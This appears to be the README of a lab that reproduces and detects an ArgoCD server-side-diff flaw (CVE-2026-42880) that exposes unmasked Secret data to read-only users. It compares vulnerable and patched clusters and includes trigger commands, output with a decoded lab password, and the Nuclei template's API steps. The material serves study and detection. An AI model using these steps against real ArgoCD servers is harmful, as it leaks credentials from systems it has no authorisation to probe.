Vulnerable path (v3.2.0):
argocd app diff --server-side-diff
  → gRPC ServerSideDiff handler
    → Kubernetes SSA dry-run (merges ALL field managers)
      ← predictedLive returned (includes external-controller's data)
        ❌ hideSecretData() NOT called → real Secret values exposed

Patched path (v3.2.11):
  ...same SSA dry-run...
    ✅ HideSecretData() called → values replaced with ++++

Host Machine
├── localhost:30080 ──→ Kind Cluster: cve-vuln   (ArgoCD v3.2.0  ⚠ VULNERABLE)
│                         └── ns: production
│                              ├── Secret: db-credentials
│                              │    metadata → argocd-controller (synced from Git)
│                              │    data.*  → external-controller ⚠ (injected separately)
│                              └── Secret: api-credentials (same setup)
│
├── localhost:30081 ──→ Kind Cluster: cve-patched (ArgoCD v3.2.11 ✓ PATCHED)
│                         └── (identical config — only ArgoCD version differs)
│
└── localhost:3010  ──→ Docker Container: cve-lab-gitea
                          └── repo: gitadmin/manifests.git
                               └── secret.yaml (no data field — CVE prerequisite)

db-credentials Secret (namespace: production)
┌──────────────────────────────────────────────────────────────┐
│  metadata.*  → argocd-controller   (ArgoCD syncs from Git)   │
│  data.*      → external-controller (injected by setup script)│
└──────────────────────────────────────────────────────────────┘

SSA dry-run: Kubernetes merges both managers' fields into predictedLive
  → ArgoCD does NOT own data → data is not masked by ArgoCD
  → v3.2.0 returns predictedLive without hideSecretData() → EXPOSED

bash scripts/01-setup-vuln.sh
# or: make setup-vuln

══════════════════════════════════════════════════════
 Vulnerable ArgoCD lab ready!
══════════════════════════════════════════════════════
 ArgoCD UI   : http://localhost:30080
 Admin pass  : <auto-generated>
 Viewer pass : viewerpass123
 Token file  : .vuln-viewer-token
══════════════════════════════════════════════════════

bash scripts/02-setup-patched.sh
# or: make setup-patched

bash scripts/03-trigger-cve.sh
# or: make trigger

===== /Secret production/db-credentials ======
<   db_password: ++++++++                          ← masked live state
---
>   db_password: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY=  ← EXPOSED predictedLive!

[EXPOSED] decoded: Sup3rS3cr3tDB!Pass#2026
⚠  RESULT: SECRET DATA EXPOSED — VULNERABLE

>   db_password: ++++++++   ← masked
✓  RESULT: no unmasked data in predictedLive — PATCHED

# Vulnerable cluster → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30080 \
  -var username=viewer \
  -var password=viewerpass123

# Patched cluster → should produce no findings
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30081 \
  -var username=viewer \
  -var password=viewerpass123

bash scripts/99-teardown.sh
# or: make teardown

argocd-cve-2026-42880-lab2/
├── README.md
├── LAB_SETUP_GUIDE.md              # Lab setup guide + troubleshooting (English)
├── VULNERABILITY_ANALYSIS.md       # Code-level vulnerability analysis (English)
├── Nuclei_Template_Report.md       # Nuclei template design and test results (English)
├── Makefile
│
├── REPORT/                         # Korean reports
│   ├── LAB_REPORT_KR.md
│   ├── Nuclei_Template_Report_KR.md
│   └── Vulnerability_Analysis_KR.md
│
├── kind/
│   ├── cluster-vuln.yaml           # Kind cluster: cve-vuln    (port 30080)
│   └── cluster-patched.yaml        # Kind cluster: cve-patched (port 30081)
│
├── git-manifests/
│   └── secret.yaml                 # Secret without data field (CVE prerequisite)
│
├── manifests/
│   ├── application.yaml            # ArgoCD Application with vulnerable annotation
│   ├── argocd-cm-patch.yaml        # ConfigMap: TLS off, viewer account, ServerSideDiff
│   ├── argocd-rbac-patch.yaml      # RBAC: viewer → role:readonly
│   ├── argocd-nodeport.yaml        # NodePort 30080 (vuln cluster)
│   └── argocd-nodeport-patched.yaml# NodePort 30081 (patched cluster)
│
├── nuclei/
│   └── CVE-2026-42880.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup-vuln.sh            # Full automated setup: vulnerable env
    ├── 02-setup-patched.sh         # Full automated setup: patched env
    ├── 03-trigger-cve.sh           # Trigger CVE + compare both clusters
    └── 99-teardown.sh              # Remove all lab resources

Step 1  GET /api/version
        → extract argocd_version (no auth required)

Step 2  POST /api/v1/session
        → authenticate as viewer (role:readonly), extract token

Step 3  GET /api/v1/applications
        → find app with ServerSideDiff=true,IncludeMutationWebhook=true

Step 4  GET /api/v1/applications/{app}/managed-resources
        → verify: version in range + Secret present + f:data owned by external manager
        → FINDING reported only if all 5 matchers pass (AND condition)